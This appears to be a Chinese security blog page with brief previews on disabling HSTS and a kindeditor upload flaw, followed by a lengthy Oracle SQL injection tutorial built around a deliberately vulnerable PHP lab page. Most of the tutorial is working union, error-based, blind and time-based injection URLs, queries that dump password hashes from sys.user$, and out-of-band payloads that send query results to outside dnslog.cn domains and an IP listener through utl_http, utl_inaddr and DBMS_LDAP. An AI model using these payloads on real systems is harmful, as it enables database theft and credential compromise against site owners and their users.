关闭常见浏览器的HSTS功能

HSTS简介

​ HSTS代表的是HTTPS严格传输安全协议,它是一个网络安全政策机制,能够强迫浏览器只通过安全的HTTPS连接(永远不能通过HTTP)与网站交互。这能够帮助防止协议降级攻击和cookie劫持。

​ HSTS最初是为了响应Moxie Marlinspike在2009 BlackHat Federal(2009年黑帽安全大会)上进行的题为“实践中击败SSL的新技巧”的演讲中所提出的一个漏洞而创建的。HSTS所防御的特定漏洞就是利用的是Marlinspike发布的一款叫做SSLStrip的工具。

​ 本质上,这个工具是通过将安全的HTTPS连接转换回不安全的HTTP连接来工作的。通过告知浏览器应当使用HTTPS连接,HSTS能够修复这一问题。HSTS还能帮助避免Firesheep等常见工具窃取基于cookie的登录凭证。

​ 不幸的是,部分HSTS设置可能会不经意地造成浏览器错误。例如,如果你使用的是Chrome,你可能就会遇到:

“隐私错误:你的连接不是私人的”(NET::ERR_CERT_AUTHORITY_INVALID)。

在安装配置 SSL 证书时,可以使用一种能使数据传输更加安全的Web安全协议,即在服务器端上开启HSTS (HTTP Strict Transport Security)。它告诉浏览器只能通过HTTPS访问,而绝对禁止HTTP方式。

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

但是,在日常开发的过程中,有时我们会想测试页面在 HTTP 连接中的表现情况,这时 HSTS 的存在会让调试不能方便的进行下去。而且由于 HSTS 并不是像 cookie 一样存放在浏览器缓存里,简单的清空浏览器缓存操作并没有什么效果,页面依然通过 HTTPS 的方式传输。那么怎样才能关闭浏览器的 HSTS 呢,各种谷歌度娘之后,在这里汇总一下几大常见浏览器 HSTS 的关闭方法。

阅读更多

smartBi总结

SmartBi简介

Smartbi是企业级商业智能和大数据分析平台,满足用户在企业级报表、数据可视化分析、自助分析平台、数据挖掘建模、AI智能分析等大数据分析需求。该软件应用范围较广,据官网介绍,在全球财富500强的10家国内银行,有8家选用了Smartbi。

阅读更多

kindeditor<=4.1.5上传漏洞复现

0x00 漏洞描述

漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)

阅读更多

Oracle注入

Oracle 极速入门

我们可以把 Database(数据库) 看作是一个大仓库,仓库分了很多很多的房间,Schema 就是其中的房间,一个 Schema 代表一个房间,Table 可以看作是每个Schema 中的床,Table(表)被放入每个房间中,不能放置在房间之外,放在外面岂不是就是无家可归了。然后床上可以放置很多物品,就好比 Table 上可以放置很多列和行一样。数据库中存储数据的基本单元是 Table,对应现实中每个仓库放置物品的基本单位就是床, User(用户) 就是每个 Schema 的主人(所以 Schema 包含的是 Object,而不是 User),User 和 Schema 是一一对应的,每个 User 在没有特别指定下只能使用自己 Schema(房间)的东西,如果一个 User 想使用其他 Schema(房间)的东西,那就要看那个 Schema(房间)的 User(主人)有没有给你这个权限了,或者看这个仓库的老大(DBA)有没有给你这个权限了。换句话说,如果你是某个仓库的主人,那么这个仓库的使用权和仓库中的所有东西都是你的(包括房间),你有完全的操作权,可以扔掉不用的东西从每个房间,也可以放置一些有用的东西到某一个房间,你还可以给每个 User 分配具体的权限,也就是规定某 User(某人)到 某一个 Schema(某一个房间)能做些什么,是只能看(Read-Only),还是可以像房间主人一样有所有的控制权(R/W)。这个就要看这个 User 所对应的 Role(角色)了。假如你是仓库的老大(DBA),你还可以设计一张工卡(角色),分为普通用户与 vip,拥有 vip 工卡的人,可以拥有你的权限。工卡(角色)并不指代具体的用户,只是权限的集合。

基本概念

Oracle 中有三个重要的基本概念:数据库实例数据库SID

Oracle 的数据库实例(Instance)其实是后台进程SGA 的总称:

  • 后台进程:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。
  • SGA:全称为 System Global Area,即系统全局区域。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。

而通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID(System Identifier)。

数据库一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件Redo 日志。数据库一般位于 $ORACLE_HOME/oradata/SID,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf 的形式存放。

首先,数据库实例数据库并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。

数据结构

表空间

相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间(Tablespace)。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库:

image-20210102195604792

如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEMSYSAUXUSERSUNDOTBSTEMP

  • SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
  • SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
  • UNDOTBS:用于事务回退等
  • TEMP:作为缓存空间减少内存负担
  • USERS:就是存储我们定义的表和数据

Schema

Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?

Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同。

Schema表空间是一个层次的概念,它们都有一个很重要的特性,就是对表的独占性。Schema 是表的逻辑集合,是所有应用访问表必须指定的对象(一般都省略了,但是实际上一定是 db.schema.table 这种访问模式,例如访问 scott 用户下的 emp 表,这时 Schema 的名称也为 scott,而 select from emp 这条 sql 语句的完整写法为:select from scott.emp),同一张表不可能既属于这个 Schema,又属于另一个 Schema。表空间是表的物理集合,是所有磁盘读写必须访问的文件(一般由 Oracle 管理,个性化的需求DBA 管理),同一张表也不可能既放在这个表空间,又放在那个表空间。

权限与用户管理

权限和角色

Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的 CURD 操作(即,增加:create,修改:update,查找:read,删除:delete),DBA 则集合了所有的用户权限。

用户

创建数据库时,会默认启用 syssystem 等用户:

  • sys:相当于 Linux 下的 root 用户。为 DBA 角色
  • system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
  • public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

一篇比较详细的 Oracle 权限管理的博文:传送门🚪

基本语法

按照 MySQL 注入的学习方法,先从语法入手:

1
2
3
4
5
6
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];

执行过程:from — where — group by — having — select — order by

可以看出,和 MySQL 很类似。实际上都是 SQL 标准的语法。

与MySql异同

注意

  • 以下加了 -- priv 的语句说明需要管理员权限
  • 虽然 Oracle 没有类似 MySQL 的数据库的概念,而是用表空间来代替:一个 Oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间(TableSpace),创建数据库就是开辟账户的表空间。为了叙述的方便,我将 Oracle 的表空间也称为 数据库

语法

  • Oracle中select 必须要指明表名。若并非对真实的表进行查询,则需要用 dual 作为表名,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。。

  • 单引号与双引号:Oracle 的单引号与 MySQL 一直,但是双引号用于消除系统关键字。例如,有个表的字段叫sysdate,因为sysdate属于oracle中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;,若用 select 'sysdate' from table_name;查询就相当于 select sysdate from table_name;,而sysdate 用于获得当前时间。

  • 第 n 行的数据:SELECT colmn_name FROM (SELECT ROWNUM r, table_name FROM users ORDER BY colmn_name) WHERE r=n;select colmn_name from table_name limit n, 1;

  • Oracle中limit应该使用虚表中的rownum字段通过where条件判断

    1
    select * from pyy where rownum = 1;  #查询一行
  • Oracel的单行注释符是–,多行注释符是/**/

  • 拼接字符:SELECT 'a' || 'b' FROM dual;select 'a' 'b'

  • case 语法SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;

  • Oracle 中空字符串''就是null(也就是说,只有null,没有空字符),而 MySQL 是区分null''的。

系统表

  • dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
  • all_tables : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
  • user_tables: 当前用户名下的表的信息
  • DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
  • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • USER_ALL_TABLES:某一用户所拥有的对象和表

总结:

  • DBA_TABLES >= ALL_TABLES >= USER_TABLES
  • DBA_ALL_TABLES >= ALL_ALL_TABLES >= USER_ALL_TABLES

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全

同样,user_tab_columnsall_tab_columnsdba_tab_columns 也是一样的。

获取数据库信息

描述:Oracle: MySQL

  • 服务器版本:SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 或者 SELECT version FROM v$instance;select version()
  • 操作系统版本:SELECT banner FROM v$version where banner like 'TNS%';: @@version_compile_os
  • 当前数据库:SELECT global_name FROM global_name; 或者 SELECT name FROM v$database;或者SELECT instance_name FROM v$instance;或者SELECT SYS.DATABASE_NAME FROM DUAL;select database()
  • 获取当前用户权限的所有数据库:SELECT DISTINCT owner, table_name FROM all_tables;
  • 表名:SELECT table_name FROM all_tables;select table_name from information_schema.tables
  • 字段名:SELECT column_name FROM all_tab_columnsselect COLUMN_NAME from information_schema.COLUMNS

获取用户信息

描述:Oracle: MySQL

  • 当前数据库用户:SELECT user FROM dual;: user()
  • 所有数据库用户:SELECT username FROM all_users ORDER BY username; 或者 SELECT name FROM sys.user$; -- privselect user from mysql.user;
  • 所有数据库用户的密码 hash:SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g 或者 SELECT name, spare4 FROM sys.user$; -- priv, >= 11g
  • 当前用户的权限:SELECT * FROM session_privs;show grants;
  • 所有用户的权限:SELECT * FROM dba_sys_privs -- privselect Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv from mysql.user; -- priv, mysql.user 中各种以 _priv 结尾的字段
  • 用户角色:SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 或者 SELECT DISTINCT grantee FROM dba_sys_privsselect user, Super_priv from mysql.user;

函数

两者相同

数学函数 ROUND、ABS、CEIL、FLOOR、MAX、MIN

字符串函数 ASCII、CHAR、REPLACE、SUBSTRING、INSTR、LOCATE、LPAD、UPPER、LOWER

两者不同

描述:Oracle: MySQL

  • 按位与:SELECT bitand(6, 2) FROM dual;select 6 & 2
  • 字符串转 hex:select utl_raw.cast_to_raw('admin') from dual;hex()
  • 查找子串:select INSTR('sdsq', 's', 2) value from dual -- 要求从位置 2 开始select INSTR('sdsq', 's') value -- 从默认的位置 1 开始,无法改变
  • SUBSTR:MySQL 有,Oracle 无,但是 Oracle 可用 substring 代替
  • 求字符长度:LENGTHCHAR_LENGTH
  • 求字节长度:LENGTHBLENGTH
  • “case”:select decode('s', 's', 'n', 'none') from dual; -- decode(条件, 值 1, 翻译值 1, 值 2, 翻译值2 , ...值 n, 翻译值 n, 缺省值)用 case 实现
  • 时延:select DBMS_PIPE.RECEIVE_MESSAGE('任意值', 1) from dual;sleep(1)。除此之外时延还可以利用 select count(*) from all_objects;来,原理是需要花费较多时间去查询所有数据库的条目。另外,利用 带外通道 发起网络请求,也有可能造成时延。
  • SYS_CONTEXT
    系统启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。
    更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT

更多非函数的语句区别可以见这个博文:传送门🚪

常用SQL语句

获取数据库版本

1
2
3
4
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * from v$version WHERE rownum=1;
SELECT version FROM v$instance;
select version from product_component_version;

image-20210102181505951

image-20210102181749353

image-20210102181630919

image-20210102190700789

注:v$version视图在sys表空间下,只有BANNER一列,数据库的版本就在第一行,所以一般不用like,只需where rownum = 1即可

返回的字段为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

所以延时注入时,快速查版本号使用select * from v%instance;语句

获取操作系统版本

1
SELECT banner FROM v$version where banner like 'TNS%';
image-20210102182230971
1
SELECT member from v$logfile WHERE rownum=1; --依据路径判断服务器操作系统

image-20210103143809289

获取用户相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
获取数据库所有用户:
SELECT user FROM dual;--获取当前数据库用户
SELECT sys_context('userenv','current_user') from dual;--当前连接用户
SELECT username FROM all_users ORDER BY username;--列出所有用户
SELECT name FROM sys.user$; —- priv;列出所有用户

列出所有数据库用户密码哈希:
SELECT name, password, astatus FROM sys.user$ —- priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ —- priv; 11g

获取数据库用户权限
SELECT * FROM session_privs; 获取当前用户权限
SELECT * from session_roles; --当前用户的权限
SELECT * FROM dba_sys_privs; -- priv 获取所有用户权限

获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;

列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; —- priv

获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;--主机名
SELECT host_name FROM v$instance;--主机名
SELECT UTL_INADDR.get_host_address FROM dual; --查IP
SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual; --查主机名称

SELECT name FROM V$DATAFILE; --获取DB文件路径

获取当前数据库(SID)

1
2
3
4
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance; --服务器SID
SELECT SYS.DATABASE_NAME FROM DUAL;

image-20210102191024572

global_name也是单列

获取表名和字段名

1
2
3
4
5
SELECT DISTINCT owner FROM all_tables; --列出所有数据库名
SELECT table_name FROM all_tables; --获取所有表名
SELECT owner, table_name FROM all_tables;--获取当前用户权限的所有表名
SELECT column_name FROM all_tab_columns; --所有获取字段名
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';

distinct去重

1
2
3
4
select TABLESPACE_NAME FROM USER_TABLESPACES;--查看所有的表空间
select TABLE_NAME from USER_TABLES WHERE ROWNUM=1;--查看当前用户的所有表
select column_name from user_tab_columns where table_name='DEMO';--查看当前用户的所有的列,如查询DEMO表下的所有列
SELECT object_name from user_objects;--查看当前用户的所有对象(表名称,约束、索引)

环境搭建

使用Kitematic搜索oracle11

image-20210105153614638

安装后查看配置文件和DOC说明

image-20210105153547054

随便启动一个apache

ORACLE注入PHP-demo如下:

修改其中的HOST、PORT和SID和依据自己的数据库随便一条注入语句即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<body>
<?php
header("Content-Type:text/html;charset=utf-8");
$id = @$_GET['id'];
//$conn = oci_connect('system','Aa123456');
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 32773)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = xe) (INSTANCE_NAME = xe)))"; //连接数据库的参数配置
$conn = oci_connect('system','oracle',$dbstr);//连接数据库,前两个参数分别是账号和密码
if (!$conn)
{
$Error = oci_error();//错误信息
print htmlentities($Error['message']);
exit;
}
else
{
echo "<h2>Oracle 注入实验</h2>"."<br>";
//ocilogoff($conn);

$sql = "select * from hr.JOB_HISTORY where JOB_ID='".$id."'";//sql语句
$ora_test = oci_parse($conn,$sql); //编译sql语句
oci_execute($ora_test,OCI_DEFAULT); //执行

echo "-------------------------------------------------<br>";
echo "Oracle语句:".$sql;
echo "<h2>查询结果</h2>"."<br>";
echo '<table border="1" width="1200" align="left">';
while($r=oci_fetch_row($ora_test)) //取回结果
{
echo "<tr>";
$i=0;
//echo $ora_test[0];
echo "<td>";
echo "EMPLOYEE_ID:".$r[$i++]." </t> <br>";
echo "</td>";

echo "<td>";
echo "START_DATA:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "END_DATA:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "JOB_ID:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "DEPARTMENT_ID:".$r[$i++]." </t><br> ";
echo "</td>";

echo "</tr>";
}
echo "</table>";
}
oci_close($conn);//关闭连接
?>

</body>
</html>

http://127.0.0.1/oracle.php?id=IT_PROG

image-20210105153842019

可以执行则搭建成功。

联合注入

正常执行,回显如下图

select * from hr.JOB_HISTORY where JOB_ID=’IT_PROG’ union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual–’

image-20210103155239766

判断列数

1
http://127.0.0.1/oracle.php?id=IT_PROG' order by 6--

报错,则为5列

image-20210103154517279

联合注入

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select null,null,null,null,null from dual--

image-20210103155217979

判断每个字段的数据类型

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,'4',null from dual--

如下图:判断为第一列int型,第四列char型

image-20210103155450649

报错如下,则为前后的数据类型不匹配:

1
Warning: oci_fetch_row(): ORA-24374: define not done before fetch or execute and fetch in D:\phpStudy_x64_8.0.1\WWW\oracle.php on line 27

存疑:DATA类型如何转换?如何注入?

判断当前数据库的用户

payload:select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select SYS_CONTEXT('USERENV','CURRENT_USER')  from dual),null from dual--

image-20210103160710386

判断当前数据库的版本

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual--

image-20210103160949821

暴破数据库名

payload:select owner from all_tables where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1),null from dual--

为SYS

image-20210103161047470

判断下一个数据库

关键payload: owner <>'SYS'

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS'),null from dual--

为:OUTLN

image-20210103161144159

判断下下个数据库

关键payload:and owner <>'SYS' and owner <>'OUTLN'

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' and owner <>'OUTLN'),null from dual--

image-20210103161350617

得到的数据库有:SYS、OUTLN、SYSTEM

后续可以不断的去暴破,直到暴破所有的数据库名为止(报错即为没有下一个数据库了)。

注意:表一定要大写。

当前用户的表的获取

payload:select table_name from user_tables where rownum=1

select table_name from all_tables 查看所有表

image-20210103161748313

得到表名LOGMNR_SESSION_EVOLVE$

同样使用 and table_name <>'LOGMNR_SESSION_EVOLVE$'遍历所有的表名

同时注意此处得到的表名有可能重复,加上distinct去重

即:select distinct table_name from user_tables where rownum=1 and table_name <> 'LOGMNR_SESSION_EVOLVE$'

获取字段名

payload:select column_name from user_tab_columns where table_name='XXX' and rownum=1

获取第一列:

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1),null from dual--

image-20210103162551520

得到第一列:BRANCH_LEVEL

获取第二列:

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1 and column_name<>'BRANCH_LEVEL'),null from dual--

image-20210103162722625

得到第二列:SESSION#

暴数据

image-20210103191758410

以hr库中的COUNTER表为例

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select CONCAT(COUNTRY_ID,COUNTRY_NAME) from hr.COUNTRIES where rownum=1),null from dual--

image-20210103200138597

select CONCAT(COUNTRY_ID,COUNTRY_NAME,REGION_ID) from hr.COUNTRIES会报错,因为REGION_ID为int类型

oracle的字符连接用||符号,或者用concat,但是concat只能连接字符串(可以嵌套实现连接多个字符串),输出不友好,所以我这里用||符号连接输出的字符串

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select COUNTRY_ID||'~'||COUNTRY_NAME||'~'||REGION_ID from hr.COUNTRIES where rownum=1),null from dual--

image-20210103201816349

报错注入

判断注入点

payload:select count(*) from user_tables

1
http://127.0.0.1/oracle.php?id=IT_PROG' and (select count (*) from user_tables)>0 --

image-20210103203344661

image-20210103203358519

>0可以正常执行,<0执行异常,则存在注入点

报错函数

utl_inaddr.get_host_name( )

获取ip 地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。

payload:1=utl_inaddr.get_host_name(select user from dual)

添加几个飘号容易识别

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=utl_inaddr.get_host_name((select '~'||user||'~' from dual))--

image-20210103204936713

ctxsys.drithsx.sn():

1
1=ctxsys.drithsx.sn(1,(select user from dual))

该函数在查询关于主题的对应关键词时,会报错显示出第二个参数的结果

XMLType():

1
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

dbms_xdb_version.checkin()

1
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

bms_xdb_version.makeversioned()

1
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

dbms_xdb_version.uncheckout()

1
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

dbms_utility.sqlid_to_sqlhash()

1
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

ordsys.ord_dicom.getmappingxpath()

1
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

decode()

1
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

注意:decode()不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。

decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)

意思是:当条件等于值1时就得到返回值1~~~~

eg:

1
2
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --

上述测试结果为页面正常,不显示任何数据,也不报错。

显示如下的结果,说明当前用户的首字母是S,代码decode(substr(user,1,1),’S’,(1/0),0)中

substr(user,1,1)=’S’时,就返回(1/0)的值,但是0不能为分母,所以报错!

image-20210104103042711

其他的暴数据库、表、字段的过程和之前一致。

布尔盲注

在Oracle布尔盲注实验中,可以是普通猜解的方法也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。接下来我们测试普通猜解方法、decode方法和instr方法。

普通猜解方法(substr+ascii)

获取当前用户下的数据表长度

payload:SELECT LENGTH(table_name) from user_tables where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 19=(SELECT LENGTH(table_name) from all_tables where rownum=1)--

页面正常显示,判断当前的用户下表长度为19

image-20210104104448246

获取数据表名的每个字符

猜测数据库表的每个字符,使用字符截取函数substr和ascii函数

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 68=((select ascii(substr(table_name,1,1)) from all_tables WHERE rownum=1))--

substr(string, start,length)

只有页面正常显示才能推出每个字符的ASCII码。当前数据表的首字母的ASCII是65,也即A,同理依次遍历得到数据表名。

获取数据表的字段长度

以HR.COUNTRIES表为例,

payload:select LENGTH(column_name) from user_tab_columns where table_name=’XXX’ and rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 10=(select LENGTH(COLUMN_NAME) from all_tab_columns where table_name='COUNTRIES' and rownum=1)--

image-20210104110539382

没有报错,显示正常,说明长度为10

获取数据表下的字段名的每个字符

payload:select ascii(substr(column_name,1,1)) from all_tab_columns where table_name=’XXX’ and rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 67=(select ascii(substr(column_name,1,1)) from all_tab_columns where table_name='COUNTRIES' and rownum=1)--

页面显示正常,则说明第一个字符为C,这个过程也可以用burp去暴破

ASCII码范围:0~127

获取字段长度

payload:select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from XXX where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 11=(select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from hr.COUNTRIES where rownum=1)--

获取字段内容的每个字符

payload:select CONCAT(COUNTRY_ID,COUNTRY_NAME) from XXX where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 65=(select ascii(substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1)) from hr.COUNTRIES where rownum=1)--

逐个遍历即可得到完整字段内容。

注:1、有时候直接使用substr也可以进行注入,加入burp遍历更方便,不用依次转换ascii码的值。被过滤时,再考虑使用ascii转换

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 'A'=(select substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1) from hr.COUNTRIES where rownum=1)--

image-20210104120227037

2、布尔盲注:先猜长度,再猜字段。

DECODE函数方式

Decode的使用方法:decode(字段或字段的运算,值1,值2,值3)

​ 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3
当然值1,值2,值3也可以是表达式

判断当前用户名长度

select decode(length(user),4,1,0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(length(user),6,1,0) from dual)--

image-20210104135314061

显示正常,说明用户长度为6

获取当前用户名内容的每个字符

select decode(substr(user,1,1),’S’,1,0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',1,0) from dual)--

逐个遍历即可得到完整字段内容。

暴破表、字段内容的方法同上。

INSTR函数

函数instr的使用方法:instr(string1,string2),在string1中找到string2所在的位置,找到返回其索引。

eg:SELECT INSTR(‘substr’, ‘str’) from dual;

image-20210104140638636

select instr((select user from dual),’TEST’) from dual; –返回值是1 说明用户中有TEST字符串

select instr((select length(user) from dual),4) from dual;– 返回值是1 说明用户的长度是4

select instr((select length(table_name) from user_tables where rownum=1),4) from dual; –返回值是1 说明当前用户的第一个表的名称长度是4

该如何判断名称每个字符呢?

select instr(substr((select table_name from user_tables where rownum=1),1,1),’D’) from dual; –返回值是1 书名表名的第一个字符是D,后续可以通过BP去暴破。

延时盲注

在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。

DECODE函数的使用方法此处不再讨论。

DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。

payload:and 1= dbms_pipe.receive_message(‘RDS’, 5)–

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1= dbms_pipe.receive_message('RDS', 5)-- 

image-20210104141922131

image-20210104142006833

可以看到页面网络加载时间是5S,可以看到注入效果。注意该函数的返回值是1

image-20210104142246720

后续步骤需要使用DECODE函数。

DECODE(condition,value,dbms_pipe.receive_message(‘RDS’, 5),0),意思是当condition=value就返回dbms_pipe.receive_message(‘RDS’, 5),那么页面就等待5秒时间,从而达到延时注入的目的。

payload:select decode(substr(user,1,1),’T’,dbms_pipe.receive_message(‘RDS’,5),0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)--

image-20210104143500771

image-20210104143529219

得到用户名SYSTEM

还有其他方式延时注入,如select count(*) from all_objects,大量统计操作很耗时,可以辅助延时注入,但是延长时间不好控制。

image-20210104143727090

带外注入

方法一:utl_http.request()

select utl_http.request(“www.baidu.com") from dual;

eg:

1
select utl_http.request((select user from dual)||'.ljc08k.dnslog.cn') from dual;

image-20210105152132436

image-20210105152206125

方法二:utl_inaddr.get_host_address()

select utl_inaddr.get_host_address(‘www.baidu.com') from dual;

1
select utl_inaddr.get_host_address((select user from dual)||'.m8146s.dnslog.cn') from dual;

image-20210105152310252

image-20210105152350116

方法三:DBMS_LDAP.INIT()

select SYS.DBMS_LDAP.INIT((select user from dual)||’.aaaa.com’,80) from dual

注意第二个参数不能丢,否则报错如下:

image-20210105150902730

1
ORA-06553: PLS-306: wrong number or types of arguments in call to 'INIT'

eg:

1
SELECT DBMS_LDAP.INIT('uka9e0.dnslog.cn',80) FROM DUAL;

image-20210105150120452

image-20210105150452571

1
select DBMS_LDAP.INIT((select user from dual)||'.uka9e0.dnslog.cn',80) from dual

image-20210105150508554

image-20210105150545179

检测方法

utl_http.request()

payload:

1
and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 --

基本上每次都要60秒才回显到web,但是发送请求的那一刻,服务器就会收到消息。

image-20210105173852589

image-20210105171147816

web视图如下:

1
